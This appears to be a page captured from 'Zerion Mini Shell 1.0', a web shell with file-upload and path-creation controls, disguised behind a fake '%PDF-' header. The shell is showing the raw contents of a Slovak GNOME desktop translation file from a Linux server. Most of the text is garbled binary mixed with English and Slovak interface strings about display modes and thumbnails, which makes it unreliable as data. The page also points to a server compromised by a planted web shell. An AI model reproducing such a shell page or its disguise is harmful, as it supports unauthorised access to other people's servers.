%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-46-2404/current/usr/share/locale/sk/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-46-2404/current/usr/share/locale/sk/LC_MESSAGES/gnome-desktop-3.0.mo

��)d;�����������	)9LUai$�D�-� 
)4.Q����&����%FA��*Vi�����	�	�	�	�	�	�	

#
/
<
L
\
o
u
~
'�
 �
K�
Nj
s&~0���/�5 Qr�%�,�K��,
(}1�
)'(#&$! "
%	%R%R:%S%a %R%a %R:%S%a %b %-e_%R%a %b %-e_%R:%S%a %b %-e_%l:%M %p%a %b %-e_%l:%M:%S %p%a %l:%M %p%a %l:%M:%S %p%b %-e_%R%b %-e_%R:%S%b %-e_%l:%M %p%b %-e_%l:%M:%S %p%l:%M %p%l:%M:%S %pAbegedeCRTC %d cannot drive output %sCRTC %d does not support rotation=%dCRTC %d: trying mode %dx%d@%dHz with output at %dx%d@%dHz (pass %d)
Could not find thumbnailer for mime-type '%s'CyrillicDevanagariFailed to create folder '%s'File %s does not have a preview icon attributeIQTElifLatinNo loadable icon for %sSahoThe output folder '%s' is not writableTrying modes for CRTC %d
UnspecifiedValenciacannot clone to output %scould not assign CRTCs to outputs:
%snone of the selected modes were compatible with the possible modes:
%soutput %s does not have the same parameters as another cloned output:
existing mode = %d, new mode = %d
existing coordinates = (%d, %d), new coordinates = (%d, %d)
existing rotation = %d, new rotation = %doutput %s does not support mode %dx%d@%dHzrequired virtual size does not fit available size: requested=(%d, %d), minimum=(%d, %d), maximum=(%d, %d)time separator∶Project-Id-Version: gnome-desktop
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-desktop/issues
PO-Revision-Date: 2022-09-27 13:48+0200
Last-Translator: Dušan Kazik <prescott66@gmail.com>
Language-Team: Slovak <gnome-sk-list@gnome.org>
Language: sk
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: Gtranslator 40.0
Plural-Forms: nplurals=3; plural=(n==1) ? 1 : (n>=2 && n<=4) ? 2 : 0
%R%R:%S%A %R%A %R:%S%A %e. %B_%R%A %e. %B_%R:%S%A %e. %B_%k:%M%A %e. %B_%k:%M:%S%A %k:%M%A %k:%M:%S%A %e. %B_%R%A %e. %B_%R:%S%A %e. %B_%k:%M%A %e. %B_%k:%M:%S%k:%M%k:%M:%SAbegedeCRTC %d nemôže obsluhovať výstup %sCRTC %d nepodporuje otočenie=%dCRTC %d: skúšanie režimu %dx%d@%dHz s výstupom %dx%d@%dHz (prechod %d)
Nepodarilo sa nájsť nástroj na vytváranie náhľadov pre typ MIME „%s“CyrilikaDevanagariZlyhalo vytvorenie priečinka „%s“Súbor %s neobsahuje atribút pre náhľad ikonyIQTElifLatinkaNeexistuje žiadna načítateľná ikona pre %sSahoVýstupný priečinok „%s“ nie je zapisovateľnýSkúšanie režimov pre CRTC %d
NešpecifikovanýValencianepodarilo sa klonovať na výstup %snepodarilo sa priradiť CRTC k výstupom:
%sžiaden z vybraných režimov nebol kompatibilný s možnými režimami:
%svýstup %s nemá rovnaké parametre ako iný klonovaný výstup:
existujúci režim = %d, nový režim = %d
existujúce súradnice = (%d, %d), nové súradnice = (%d, %d)
existujúce otočenie = %d, nové otočenie = %dvýstup %s nepodporuje režim %dx%d@%dHzvyžadovaná virtuálna veľkosť nezodpovedá dostupnej veľkosti: vyžadované=(%d, %d), minimum=(%d, %d), maximum=(%d, %d)∶

Zerion Mini Shell 1.0